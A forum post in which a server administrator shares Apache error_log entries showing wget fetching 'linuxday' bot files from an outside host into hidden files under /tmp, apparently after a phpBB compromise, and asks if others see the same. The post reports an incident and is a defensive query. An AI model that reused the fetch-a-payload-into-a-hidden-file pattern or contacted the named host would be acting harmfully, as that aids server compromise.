New Exploit?

I am seeing a ton of these log entries in my error_log file for Apache. It seemed to come to a complete stop when I disabled a phpBB hosted on the server.

Code: 
--05:10:47-- http://arnold.dvclub.com.hk/phpBB2/linuxday.txt 
            => `/tmp/.cpanel' 
Resolving arnold.dvclub.com.hk... done. 
Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... connected. 
HTTP request sent, awaiting response... --05:10:57-- http:// 
arnold.dvclub.com.hk/phpBB2/linuxdaybot.txt 
            => `/tmp/.cpanel.tmp' 
Resolving arnold.dvclub.com.hk... done. 
Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... failed: 
Connection timed out. 
Retrying. 


--05:12:13-- http://arnold.dvclub.com.hk/phpBB2/linuxdaybot.txt 
   (try: 2) => `/tmp/.cpanel.tmp' 
Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... 200 OK 
Length: 3,355 [text/plain] 


     0K ... 100% 
468.05 KB/s 


05:12:27 (468.05 KB/s) - `/tmp/.cpanel' saved [3355/3355]
Anyone else seeing this?

Sirius

 

 

 

 

Top